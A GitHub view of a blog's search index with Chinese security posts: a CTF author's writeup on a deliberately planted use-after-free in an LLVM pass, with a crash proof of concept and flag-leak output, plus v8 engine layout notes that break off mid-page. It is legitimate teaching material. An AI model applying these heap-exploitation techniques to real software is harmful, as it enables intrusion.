-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsearch.xml
501 lines (237 loc) · 428 KB
/
search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>PKU GeekGame 混淆器whatapass 出题记录及题解</title>
<link href="llvm-pass/"/>
<url>llvm-pass/</url>
<content type="html"><![CDATA[<p><img src="/images/cover-nagayama-koharu.jpg" alt="cover"></p><p>我为这届北京大学信息安全综合能力竞赛(PKU GeekGame)出了一道名为混淆器whatapass的题目,题目载体是LLVM Pass。</p><p>LLVM Pass 原本用于转换和优化 LLVM IR,因为可以处理IR,所以也可以用来做插桩和混淆等。Pass类二进制题目这两年在CTF比赛里越来越常见,网上的例题和教程也越来越多,这类题目两年前还算是压轴难题,而现在已经变成了某种意义上的常规题,所以这次比赛我选择了Pass这个载体来出这道题,对于新手来说无论是Pass技术本身还是Pass类的题目在网上都有一些教程可供参考和学习。</p><p>大多数Pass类题目是这样实现的:重写 <code>runOnFunction</code>,处理 IR 中具有特定名称的函数,这些函数会事先预留一些漏洞,比如后门、任意地址读写、数组越界读写、整数溢出等等。</p><p>最初我的想法是模仿这种模式出一道Pass类的面向新手的题目,于是就想到最简单的模式还是任意地址读写写got表或free_hook,可是各种形式的任意地址读写都已经快被出个遍了,例如红帽杯-2021 simpleVM(任意地址读写读got改free)、CISCN-2021 staool(堆上脏数据泄露+任意地址执行)、强网杯-2022 yakagame(负数索引导致的数组越界写+后门)等。</p><p>次简单的形式是UAF或者栈溢出漏洞,UAF的难度在于新手可能不了解glibc的堆,栈溢出难度在于Pass只运行一次就结束没有泄露。CISCN-2022 satool设计的溢出方式比较新奇,这道题在生成jit code的时候存在错误的边界判断,当code的长度大于0xFF0会被截断,利用方法则是用jit spray的方式执行shellcode。</p><p>总之权衡后我采用的漏洞点是把UAF放在LLVM IR的链表上,于是有了这道题。</p><h1 id="Binary-混淆器"><a href="#Binary-混淆器" class="headerlink" title="[Binary] 混淆器"></a>[Binary] 混淆器</h1><ul><li>命题人:Q1IQ</li><li>题目分值:500 分</li><li>下载题目附件 & exp:<a href="https://github.com/PKU-GeekGame/geekgame-2nd/tree/master/official_writeup/whatapass">https://github.com/PKU-GeekGame/geekgame-2nd/tree/master/official_writeup/whatapass</a></li></ul><h2 id="题目描述"><a href="#题目描述" class="headerlink" title="题目描述"></a>题目描述</h2><p>小Q觉得混淆器很神奇,他想知道控制流平坦化是怎么实现的,于是他从网上找了个开源的混淆器跑了跑。</p><p>然而,他发现这个混淆器总会莫名其妙crash,他修了半天也没找到bug在哪里。</p><p>为了让这个混淆器发挥剩余价值,小Q一拍脑瓜把它变成了一道菜单题。</p><div class="well"><p><strong>第二阶段提示:</strong></p><p>bug在分支指令的处理中。</p></div>**【终端交互:连接到题目】**<p><a href="https://github.com/PKU-GeekGame/geekgame-2nd/tree/master/official_writeup/whatapass">【附件:下载题目附件(prob12.tar)】</a></p><h2 id="预期解法"><a href="#预期解法" class="headerlink" title="预期解法"></a>预期解法</h2><p>题面总体上描述了这道题的设计:</p><p>[开源的混淆器] 题目中控制流混淆的代码源自于ollvm的<a href="https://github.com/obfuscator-llvm/obfuscator/blob/llvm-4.0/lib/Transforms/Obfuscation/Flattening.cpp">控制流平坦化Pass</a>,我修改了其中switch-case要用到的随机数的实现,其他部分都是源码。</p><p>[bug在哪里] bug埋在分支指令的处理中,位于whatapass.cpp的346行,在处理后继基本块数量大于2的基本块时,释放了一个 <code>Inst</code> ,这是一个不正常的释放。编译一个带分支的程序即可触发crash,例如这样:</p><pre><code class="C">// poc.cvoid m41n(int a){ int b = 1; if(b == 3){ return ; } return;}int main(){ return 1;}</code></pre><pre><code>root@docker-desktop:/pwn/binary_whatapass# clang -emit-llvm -S poc.c -o poc.llroot@docker-desktop:/pwn/binary_whatapass# ./opt -load ./LLVMWhataPass.so -Whatapass poc.ll -o /dev/nullWhat a pass! Instruction has bogus parent pointer!Stack dump:0. Program arguments: ./opt -load ./LLVMWhataPass.so -Whatapass poc.ll -o /dev/null 1. Running pass 'Function Pass Manager' on module 'poc.ll'.2. Running pass 'Module Verifier' on function '@m41n'#0 0x00007ffff42894ff llvm::sys::PrintStackTrace(llvm::raw_ostream&) (/lib/x86_64-linux-gnu/libLLVM-10.so.1+0x9814ff)#1 0x00007ffff42877b0 llvm::sys::RunSignalHandlers() (/lib/x86_64-linux-gnu/libLLVM-10.so.1+0x97f7b0)#2 0x00007ffff4289ac5 (/lib/x86_64-linux-gnu/libLLVM-10.so.1+0x981ac5)#3 0x00007ffff7fb13c0 __restore_rt (/lib/x86_64-linux-gnu/libpthread.so.0+0x153c0)#4 0x00007ffff43f28e9 (/lib/x86_64-linux-gnu/libLLVM-10.so.1+0xaea8e9)#5 0x00007ffff426d457 llvm::raw_fd_ostream::write_impl(char const*, unsigned long) (/lib/x86_64-linux-gnu/libLLVM-10.so.1+0x965457)#6 0x000000000080cc90 Segmentation fault</code></pre><p>[菜单题] 题目设计了几个菜单函数:</p><ul><li><code>wher3</code>:分配一个大小不超过0x400的块</li><li><code>re4d</code>:从块中读数据,保存在 vector 里,没有越界</li><li><code>wr1te</code>:向块中写数据,写入的数据可以是IR文件里的立即数,也可以是<code>re4d</code>读到的数,没有越界</li><li><code>c1ear</code>:将块 free 掉,此处没有 UAF</li><li><code>g1ft</code>:打开 /flag 读取flag值,用变表 base64 编码 flag,但是没有将结果保存下来</li><li><code>p4int</code>:遍历IR文件的基本块和指令,并打印出它们的地址</li></ul><p>注意到遍历基本块和指令时使用的是迭代器,例如遍历指令用的是 <code>BasicBlock::iterator</code> ,查看 <a href="http://www.few.vu.nl/~lsc300/LLVM/doxygen/classllvm_1_1BasicBlock.html#a1445356b70fbb95acc5e0d3d2ac9101c"><code>llvm::BasicBlock::iterator</code></a> 的定义,实际上它等于 <a href="http://www.few.vu.nl/~lsc300/LLVM/doxygen/classllvm_1_1ilist__iterator.html"><code>ilist_iterator</code></a> ,<code>ilist_iterator</code> 的 <a href="https://llvm.org/doxygen/ilist__iterator_8h_source.html#l00156">++</a> 操作符是重载的,功能是用 <code>getNext()</code> 获取下一个节点,因此迭代器遍历的顺序就是链表从前往后的顺序。</p><pre><code> 156 ilist_iterator &operator++() { 157 NodePtr = IsReverse ? NodePtr->getPrev() : NodePtr->getNext(); 158 return *this; 159 }</code></pre><p>更简单的方法是源码调试,带 <code>-g</code> 编译源码,在 <code>p4int</code> 函数下断点打印 <code>ins</code> ,可以直接看到它的类型是 <code>llvm::ilist_iterator</code>。</p><p><img src="/img/image-20221126135945842.png" alt="image-20221126135945842"></p><p>在346行下断点查看被释放掉的 <code>Inst</code>,查看它的 <code>member</code>,可以注意到 <code>Prev</code> 和 <code>Next</code> 指针在其中。</p><p><img src="/img/image-20221126134324173.png" alt="image-20221126134324173"></p><p>因此解题主要靠两处 UAF ,一处是在调用 <code>g1ft</code> 读取并编码 flag 后,保存 flag 内容的块会被释放,通过调试找到它的大小为0x90,用 <code>wher3</code> 分配回来,得到的块的前0x10字节会被清空,但是前0x10字节不包含flag内容所以不会影响,flag内容可以用 <code>re4d</code> 保存下来用于后续泄露;另一处则是在 <code>Inst</code> 被释放后,将其分配回来,使用 <code>wr1te</code> 修改它的 <code>Next</code> 指针使其内容为flag的某8个字节,则会在遍历并打印指令地址时将其泄露出来,代码见 exp1。</p><p>除了将 <code>Next</code> 指针篡改为flag的值,也可以改为flag的地址。这种做法稍复杂一些,因为不仅需要先读 <code>Inst</code> 的数据拿到堆地址,还需要使拿到的堆地址和 flag 的地址最好在同一块 0x100 的内存里。由于 <code>Inst</code> 和 flag 块的内存都是临时申请的,所以具体解法是在申请前就把它们需要的块放在 tcache 里,代码见 exp2。</p><p>此外,由于 <code>Next</code> 指针保存的地址和实际的指令地址有0x18的偏移,所以泄露地址里的最后一个字节要加上0x18。exp 每次运行泄露8字节编码后的 flag,泄露完成后用变表 base64 解码即得到flag。最后贴一个 exp 的运行输出。</p><pre><code>root@docker-desktop:/pwn/whatapass# clang -emit-llvm -S exp.c -o exp.llroot@docker-desktop:/pwn/whatapass# ./opt -load ./LLVMWhataPass.so -Whatapass exp.ll -o /dev/nullWhat a pass! BB: 0x1448fe0 Inst: 0x1449088 Inst: 0x1449770 Inst: 0x1449868 Inst: 0x1449a00 Inst: 0x1449bb0 Inst: 0x1449cd0 Inst: 0x1449dd0 Inst: 0x1449ed0 Inst: 0x1449fd0 Inst: 0x144a0d0 Inst: 0x144a1d0 Inst: 0x144a2d0 Inst: 0x144a388 Inst: 0x14234a8 Inst: 0x144c970 Inst: 0x14235f8BB: 0x144aed0 Inst: 0x1423568 Inst: 0x144b308BB: 0x144b170 Inst: 0x14236e8BB: 0x144ad80 Inst: 0x144a430 Inst: 0x14237d8 Inst: 0x1423850 Inst: 0x7873587a72466d62 <======= flag hereStack dump:0. Program arguments: ./opt -load ./LLVMWhataPass.so -Whatapass exp.ll -o /dev/null 1. Running pass 'Function Pass Manager' on module 'exp.ll'.2. Running pass 'What a pass' on function '@m41n'</code></pre><hr><p>选手精彩Writeup:<a href="https://github.com/PKU-GeekGame/geekgame-2nd/tree/master/players_writeup/1230">https://github.com/PKU-GeekGame/geekgame-2nd/tree/master/players_writeup/1230</a></p><p>更多精彩题目请关注北京大学信息安全综合能力竞赛(PKU GeekGame)官方Writeup:<a href="https://github.com/PKU-GeekGame/geekgame-2nd">https://github.com/PKU-GeekGame/geekgame-2nd</a></p>]]></content>
<tags>
<tag> PWN </tag>
</tags>
</entry>
<entry>
<title>DEFCON-Qualifier-2022 smuggler's cove/constricted 题解</title>
<link href="Defcon2022-pwn-wp/"/>
<url>Defcon2022-pwn-wp/</url>
<content type="html"><![CDATA[<p><img src="/images/wp6406604-splatoon.jpg" alt="cover"></p><p>本文是对Defcon资格赛中 Pwn 方向两道题目的复现,分别是 smuggler’s cove 以及 constricted。难度相比以往的国内赛要稍高,但是同时也学习到了不少新的知识。以下为这两道题目的分析。</p><p>文章首发于先知社区,链接 <a href="https://xz.aliyun.com/t/11445">https://xz.aliyun.com/t/11445</a></p><p>exp链接 <a href="https://github.com/Q1IQ/ctf/tree/master/defcon-qualifier-2022">https://github.com/Q1IQ/ctf/tree/master/defcon-qualifier-2022</a></p>]]></content>
<tags>
<tag> PWN </tag>
</tags>
</entry>
<entry>
<title>v8 学习记录</title>
<link href="v8-exploit/"/>
<url>v8-exploit/</url>
<content type="html"><![CDATA[<p><img src="/images/aniya.jpg" alt="cover"></p><h2 id="基础知识"><a href="#基础知识" class="headerlink" title="基础知识"></a>基础知识</h2><p>v8是chrome浏览器的 JavaScript 引擎,是著名的 JIT(Just In Time) 引擎。在Chromium项目中起到至关重要的作用。作为一款jit引擎,其工作模式如下图所示:</p><p><img src="/img/image-20220601144046089.png" alt="image-20220601144046089"></p><ol><li>Parser是 JS 源代码的入口,接受javascript 源文件作为输入</li><li>Interpreter 负责从 Javascript AST 生成 bytecodes,同时也可以基于bytecode直接生成机器代码。在 V8 中该组件名为Ignition。</li><li>JIT Complier: Turbofan作为 V8 中的优化器,其作用是将字节码优化成为固定的机器代码。在优化过程中,V8 引入了SSA(静态单赋值)形式的中间代码简化编译器的优化算法,在其若干优化过程(PASS)中实现安全的 JIT 代码生成。</li><li>Runtime:提供各种数据结构的实现以及buildin函数等等。</li><li>GC:V8的垃圾回收器。</li></ol><h3 id="Ignition"><a href="#Ignition" class="headerlink" title="Ignition"></a>Ignition</h3><p>位于<code>src/interpreter/bytecode-generator.h</code>中的 <code>BytecodeGenerator</code>实现了<code>AstVisitor</code>,将在遍历<code>Javascript AST</code>中创建相应的字节码。字节码的生成方法为是<code>BytecodeGenerator::GenerateBytecode</code> 。</p><p>针对单个字节码来说,v8 实现了<code> Ignition_handler</code> ,可以遍历解释执行前面生成的bytecodes, 例如:</p><p><img src="/img/20201023192911.png"></p><p>值得一提的是,以上<code>Ignition_handler</code>中采用了<code>CSA(CodeStubAssembler)</code>,这是一种类似于汇编的语言,保持了platform-independent的同时也具备一定的可读性。这样,Ignition顺序执行字节码对应的handler的过程看起来就像这样:</p><p><img src="/img/20201023193018.png"></p><p>总的来说,可以把Ignition当作一个解释器或者低级的翻译器,字节码可以在调试v8的时候通过—print-bytecode打印。</p><h3 id="Turbofan"><a href="#Turbofan" class="headerlink" title="Turbofan"></a>Turbofan</h3><p>Turbofan是整个v8最为核心最为复杂的部分。优化过程中采用了基于sea of node思想设计的中间语言。这是一种Program Dependence Graph,其宗旨是“在统一的表达形式下,把分析进行彻底”。用这样的IR所表达的程序是由经过完全的程序分析后产生的节点组成,这种节点可以依赖别的节点,本身也可以被别的节点依赖。各种 IR 操作并不操作变量,而是代表从依赖获取输入节点,经运算后产生新的节点这样的行为。这样,Turbofan 针对每个节点的优化变得相对独立,因为其自身会携带足够依赖信息来判明它在怎样的路径上有效,依赖的数据输入是哪些。</p><p>TurboFan的依赖信息有三种 Control , Data , Effect </p><p>Control dependence:Control Dependence(控制依赖)可以看作是常规控制流图反过来画。不是基本块持有一个线性列表里面装着节点,而是每个节点都记录着自己的控制依赖是谁——要哪个前驱控制节点执行到的时候才可以执行。</p><p>Data dependence:Data Dependence就是use-def链,换句话说一个节点的数据输入都是谁。例如说 a + b,这个“+”的数据依赖就是a和b。</p><p>Effect dependence:可以理解为内存状态的操作依赖,单独描述内存的操作顺序,记录的是内存操作</p><p>例如,对于<code>obj[x] = obj[x] + 1</code>来说,对应的IR为:</p><p><img src="/img/20201023194649.png"></p><p>该图表明了一种依赖关系:load->add->store</p><p>其次,由于Javascript为弱类型语言,而JIT代码往往是针对某种类型特定优化的,错误的类型很可能会导致安全问题。因此为了提高安全性,Turbofan在JIT代码中会插入类型检查,其工作模式如下图</p><p><img src="/img/20201023195737.png"></p><h3 id="Runtime"><a href="#Runtime" class="headerlink" title="Runtime"></a>Runtime</h3><p>Tagged Value:</p><p><img src="/img/20201023202653.png"></p><ul><li>最低位LSB标志位</li><li>SMI: SMall Integer,将最后一bit清零,访问的时候当作SMI</li><li>HeapObject:最后一位置1,访问的时候减去1然后取内存中的值再来访问</li><li>可以理解为存储了简单的数据类型,更复杂的数据类型信息存储在map</li></ul><p><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Data_structures">JavaScript数据结构</a></p><h4 id="Object"><a href="#Object" class="headerlink" title="Object"></a>Object</h4><pre><code>const o = {x:0x41, y:0x42};o.z = 0x43;o[0] = 0x91;o[1] = 0x92;</code></pre><p>调试发现数据结构和网络资料有出入,例如大部分数据访问都需要加偏移,本文使用的d8版本为11.0.0.</p><pre><code>pwndbg> job 0x14c60037c56d0x14c60037c56d: [JS_OBJECT_TYPE] - map: 0x14c600258cb1 <Map[20](HOLEY_ELEMENTS)> [FastProperties] //指向内部类 - prototype: 0x14c600243b99 <Object map = 0x14c600243255> - elements: 0x14c60037c60d <FixedArray[17]> [HOLEY_ELEMENTS] - properties: 0x14c60037c5f9 <PropertyArray[3]> - All own properties (excluding elements): { 0x14c6000041ed: [String] in ReadOnlySpace: #x: 65 (const data field 0), location: in-object 0x14c6000041fd: [String] in ReadOnlySpace: #y: 66 (const data field 1), location: in-object 0x14c60000420d: [String] in ReadOnlySpace: #z: 67 (const data field 2), location: properties[0] } - elements: 0x14c60037c60d <FixedArray[17]> { 0: 145 1: 146 2-16: 0x14c600002459 <the_hole> }pwndbg> x/20xg 0x14c60037c56c0x14c60037c56c: 0x[0037c5f9](properties)[00258cb1](map) 0x00000082[0037c60d](elements)0x14c60037c57c: 0x00007bb100000084 0x00000000000100010x14c60037c58c: 0x000041ed00002225 0x00000002000000840x14c60037c59c: 0x0002000200007bb1 0x00002225000000000x14c60037c5ac: 0x00000484000041ed 0x000041fd000000020x14c60037c5bc: 0x0000000200100084 0x0003000300007bb10x14c60037c5cc: 0x0000222500000000 0x00000484000041ed0x14c60037c5dc: 0x000041fd00000002 0x00000002001000840x14c60037c5ec: 0x002008840000420d 0x00002d19000000020x14c60037c5fc: 0x0000008600000006 0x000023e1000023e1// propertiespwndbg> job 0x14c60037c5f9 0x14c60037c5f9: [PropertyArray] - map: 0x14c600002d19 <Map(PROPERTY_ARRAY_TYPE)> - length: 3 - hash: 0 0: 67 1-2: 0x14c6000023e1 <undefined>pwndbg> x/20xg 0x14c60037c5f8 0x14c60037c5f8: 0x[00000006](length*2)[00002d19](map) 0x000023e1000000860x14c60037c608: 0x00002231000023e1 0x00000122000000220x14c60037c618: 0x0000245900000124 0x00002459000024590x14c60037c628: 0x0000245900002459 0x00002459000024590x14c60037c638: 0x0000245900002459 0x00002459000024590x14c60037c648: 0x0000245900002459 0x00002459000024590x14c60037c658: 0x000022590024ac49 0x000023e1000022590x14c60037c668: 0x0000000280000000 0x00000002800000000x14c60037c678: 0x0100001000000000 0x00007fffac0033600x14c60037c688: 0x0000000000000002 0x0000000000000000//elementspwndbg> job 0x14c60037c60d 0x14c60037c60d: [FixedArray] - map: 0x14c600002231 <Map(FIXED_ARRAY_TYPE)> - length: 17 0: 145 1: 146 2-16: 0x14c600002459 <the_hole>pwndbg> x/20xg 0x14c60037c60c0x14c60037c60c: 0x[00000022](length*2)[00002231](map) 0x00000124000001220x14c60037c61c: 0x0000245900002459 0x00002459000024590x14c60037c62c: 0x0000245900002459 0x00002459000024590x14c60037c63c: 0x0000245900002459 0x00002459000024590x14c60037c64c: 0x0000245900002459 0x0024ac49000024590x14c60037c65c: 0x0000225900002259 0x80000000000023e10x14c60037c66c: 0x8000000000000002 0x00000000000000020x14c60037c67c: 0xac00336001000010 0x0000000200007fff0x14c60037c68c: 0x0000000000000000 0x00000000000000000x14c60037c69c: 0xbeadbeefbeadbeef 0xbeadbeefbeadbeef</code></pre><p>构造法1</p><pre><code>const o = new Object();o.foo = {}</code></pre><pre><code>pwndbg> job 0x2f1f0037ebad0x2f1f0037ebad: [JS_OBJECT_TYPE] - map: 0x2f1f00258c35 <Map[28](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x2f1f00243b99 <Object map = 0x2f1f00243255> - elements: 0x2f1f00002259 <FixedArray[0]> [HOLEY_ELEMENTS] - properties: 0x2f1f00002259 <FixedArray[0]> - All own properties (excluding elements): { 0x2f1f00257511: [String] in OldSpace: #foo: 0x2f1f0037ebc9 <Object map = 0x2f1f00243a4d> (const data field 0), location: in-object }</code></pre><p>构造法2</p><pre><code>const o = {'foo':{}};</code></pre><pre><code>pwndbg> job 0x3428002b60bd0x3428002b60bd: [JS_OBJECT_TYPE] - map: 0x342800258c29 <Map[16](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x342800243b99 <Object map = 0x342800243255> - elements: 0x342800002259 <FixedArray[0]> [HOLEY_ELEMENTS] - properties: 0x342800002259 <FixedArray[0]> - All own properties (excluding elements): { 0x342800257511: [String] in OldSpace: #foo: 0x3428002b60cd <Object map = 0x342800243a4d> (const data field 0), location: in-object }</code></pre><p>区别不大</p><h4 id="索引类集合:数组和类型化数组"><a href="#索引类集合:数组和类型化数组" class="headerlink" title="索引类集合:数组和类型化数组"></a>索引类集合:数组和类型化数组</h4><h5 id="Array"><a href="#Array" class="headerlink" title="Array"></a>Array</h5><p>数组是一种以整数为键(integer-keyed)的属性并与长度(length)属性关联的常规对象。</p><p>构造法1</p><pre><code>const arr = [{}];</code></pre><pre><code>pwndbg> job 0x2246003481510x224600348151: [JSArray] - map: 0x22460024da41 <Map[16](PACKED_ELEMENTS)> [FastProperties] - prototype: 0x22460024d421 <JSArray[0]> - elements: 0x224600348169 <FixedArray[1]> [PACKED_ELEMENTS] - length: 1 - properties: 0x224600002259 <FixedArray[0]> - All own properties (excluding elements): { 0x224600006551: [String] in ReadOnlySpace: #length: 0x224600204255 <AccessorInfo name= 0x224600006551 <String[6]: #length>, data= 0x2246000023e1 <undefined>> (const accessor descriptor), location: descriptor } - elements: 0x224600348169 <FixedArray[1]> { 0: 0x224600348175 <Object map = 0x224600243a4d> }pwndbg> job 0x2246003481750x224600348175: [JS_OBJECT_TYPE] - map: 0x224600243a4d <Map[28](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x224600243b99 <Object map = 0x224600243255> - elements: 0x224600002259 <FixedArray[0]> [HOLEY_ELEMENTS] - properties: 0x224600002259 <FixedArray[0]> - All own properties (excluding elements): {}</code></pre><p>构造法2</p><pre><code>const arr = new Array({});</code></pre><pre><code>pwndbg> job 0x3670033ebc90x3670033ebc9: [JSArray] - map: 0x03670024da41 <Map[16](PACKED_ELEMENTS)> [FastProperties] - prototype: 0x03670024d421 <JSArray[0]> - elements: 0x03670033ebe1 <FixedArray[1]> [PACKED_ELEMENTS] - length: 1 - properties: 0x036700002259 <FixedArray[0]> - All own properties (excluding elements): { 0x36700006551: [String] in ReadOnlySpace: #length: 0x036700204255 <AccessorInfo name= 0x036700006551 <String[6]: #length>, data= 0x0367000023e1 <undefined>> (const accessor descriptor), location: descriptor } - elements: 0x03670033ebe1 <FixedArray[1]> { 0: 0x03670033ebad <Object map = 0x36700243a4d> }pwndbg> job 0x03670033ebad 0x3670033ebad: [JS_OBJECT_TYPE] - map: 0x036700243a4d <Map[28](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x036700243b99 <Object map = 0x36700243255> - elements: 0x036700002259 <FixedArray[0]> [HOLEY_ELEMENTS] - properties: 0x036700002259 <FixedArray[0]> - All own properties (excluding elements): {}</code></pre><p>是有区别的,第一种方法,object后于array分配,object的地址比array高,第二种方法相反,object先于array分配。但是无论是哪种情况,elements都只在array后面了。</p><h5 id="类型化数组"><a href="#类型化数组" class="headerlink" title="类型化数组"></a>类型化数组</h5><p>类型化数组表示底层二进制缓冲区的类数组视图,并且提供了与数组相对应的类似语义的方法。“类型化数组”是一系列数据结构的总话术语,包括 Int8Array、Float32Array 等等。类型化数组通常与 ArrayBuffer 和 DataView 一起使用。</p><p><strong>ArrayBuffer</strong></p><p>ArrayBuffer 是一种数据类型,用来表示一个通用的、固定长度的二进制数据缓冲区。你不能直接操作 ArrayBuffer 中的内容;你需要创建一个类型化数组的视图( TypedArray )或一个描述缓冲数据格式的 DataView,使用它们来读写缓冲区中的内容。</p><pre><code>const ab = new ArrayBuffer(20);</code></pre><p>backing_store存放的是值</p><pre><code>pwndbg> job 0x2cf6002a2a5d 0x2cf6002a2a5d: [JSArrayBuffer] - map: 0x2cf60024ac49 <Map[68](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x2cf60024ad1d <Object map = 0x2cf60024ac71> - elements: 0x2cf600002259 <FixedArray[0]> [HOLEY_ELEMENTS] - embedder fields: 2 - backing_store: 0x2cf700001000 - byte_length: 20 - max_byte_length: 20 - detach key: 0x2cf6000023e1 <undefined> - detachable - properties: 0x2cf600002259 <FixedArray[0]> - All own properties (excluding elements): {} - embedder fields = { 0, aligned pointer: (nil) 0, aligned pointer: (nil) }</code></pre><p><strong>类型化数组的视图 TypedArray</strong> </p><p>以Uint32Array为例</p><pre><code>const ab = new ArrayBuffer(20);const ua = new Uint32Array(ab);</code></pre><p>ua->buffer指向ArrayBuffer</p><pre><code>pwndbg> job 0x2cf6002a2aa10x2cf6002a2aa1: [JSTypedArray] - map: 0x2cf60024a6a5 <Map[72](UINT32ELEMENTS)> [FastProperties] - prototype: 0x2cf60024a739 <Object map = 0x2cf60024a6cd> - elements: 0x2cf6000034c9 <ByteArray[0]> [UINT32ELEMENTS] - embedder fields: 2 - buffer: 0x2cf6002a2a5d <ArrayBuffer map = 0x2cf60024ac49> - byte_offset: 0 - byte_length: 20 - length: 5 - data_ptr: 0x2cf700001000 - base_pointer: (nil) - external_pointer: 0x2cf700001000 - properties: 0x2cf600002259 <FixedArray[0]> - All own properties (excluding elements): {} - elements: 0x2cf6000034c9 <ByteArray[0]> { 0: 123 1: 234 2-4: 0 } - embedder fields = { 0, aligned pointer: (nil) 0, aligned pointer: (nil) }</code></pre><p><strong>描述缓冲数据格式的 DataView</strong></p><pre><code>const ab = new ArrayBuffer(20);const dv = new DataView(ab);</code></pre><p>dv->buffer指向ArrayBuffer</p><pre><code>pwndbg> job 0x5610029d9a10x5610029d9a1: [JSDataView] - map: 0x056100248839 <Map[60](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x056100248a59 <Object map = 0x56100248861> - elements: 0x056100002259 <FixedArray[0]> [HOLEY_ELEMENTS] - embedder fields: 2 - buffer =0x05610029d915 <ArrayBuffer map = 0x5610024ac49> - byte_offset: 0 - byte_length: 20 - properties: 0x056100002259 <FixedArray[0]> - All own properties (excluding elements): {} - embedder fields = { 0, aligned pointer: (nil) 0, aligned pointer: (nil) }</code></pre><h4 id="带键的集合:Map、Set、WeakMap、WeakSet"><a href="#带键的集合:Map、Set、WeakMap、WeakSet" class="headerlink" title="带键的集合:Map、Set、WeakMap、WeakSet"></a>带键的集合:Map、Set、WeakMap、WeakSet</h4><h5 id="Map"><a href="#Map" class="headerlink" title="Map"></a>Map</h5><pre><code>const map1 = new Map();map1.set('a', 1);map1.set('b', 2);map1.set('c', 3);</code></pre><pre><code>pwndbg> job 0xec6001dc8b50xec6001dc8b5: [JSMap] - map: 0x0ec6002455f5 <Map[16](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x0ec600245735 <Object map = 0xec60024561d> - elements: 0x0ec600002259 <FixedArray[0]> [HOLEY_ELEMENTS] - table: 0x0ec6001dc8c5 <OrderedHashMap[17]> - properties: 0x0ec600002259 <FixedArray[0]> - All own properties (excluding elements): {}</code></pre><h5 id="Set"><a href="#Set" class="headerlink" title="Set"></a>Set</h5><pre><code>let mySet = new Set();mySet.add(1); // Set [ 1 ]mySet.add(5); // Set [ 1, 5 ]mySet.add(5); // Set [ 1, 5 ]mySet.add("some text"); // Set [ 1, 5, "some text" ]let o = {a: 1, b: 2};mySet.add(o);</code></pre><pre><code>pwndbg> job 0x3cb0001ac2a90x3cb0001ac2a9: [JSSet] - map: 0x3cb000248549 <Map[16](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x3cb00024867d <Object map = 0x3cb000248571> - elements: 0x3cb000002259 <FixedArray[0]> [HOLEY_ELEMENTS] - table: 0x3cb0001ac2b9 <OrderedHashSet[13]> - properties: 0x3cb000002259 <FixedArray[0]> - All own properties (excluding elements): {}</code></pre><h4 id="builtin"><a href="#builtin" class="headerlink" title="builtin"></a>builtin</h4><p>在V8中,buildin可以看作是VM在Runtime中可执行的代码块,由引擎本身实现,除了实现一些 js 语言带有的操作之外,还可以实现一些内置功能。例如 builtins-array.cc 和数组相关的一些函数:array.fill,slice,fush…,是turbofan inline 的对象。</p><h3 id="GC"><a href="#GC" class="headerlink" title="GC"></a>GC</h3><p>V8 实现了准确式 GC,GC 算法方面采用了分代垃圾回收。</p><ul><li>新生代GC:GC复制算法,Cheney的GC复制算法</li><li>老年代GC:GC 标记-清除算法,GC标记-压缩算法</li></ul><p>新生代中的对象为存活时间较短的对象,老生代中的对象为存活时间较长或常驻内存的对象,分别对新老生代采用不同的垃圾回收算法来提高效率,对象最开始都会先被分配到新生代(如果新生代内存空间不够,直接分配到老生代),新生代中的对象会在满足某些条件后,被移动到老生代,这个过程叫晋升。</p><p>对象晋升的条件主要有两个:</p><ul><li><p>对象从From空间复制到To空间时,会检查它的内存地址来判断这个对象是否已经经历过一次Scavenge回收。如果已经经历过了,会将该对象从From空间移动到老生代空间中,如果没有,则复制到To空间。总结来说,如果一个对象是第二次经历从From空间复制到To空间,那么这个对象会被移动到老生代中。</p></li><li><p>当要从From空间复制一个对象到To空间时,如果To空间已经使用了超过25%,则这个对象直接晋升到老生代中。设置25%这个阈值的原因是当这次Scavenge回收完成后,这个To空间会变为From空间,接下来的内存分配将在这个空间中进行。如果占比过高,会影响后续的内存分配。</p></li></ul><h2 id="环境搭建"><a href="#环境搭建" class="headerlink" 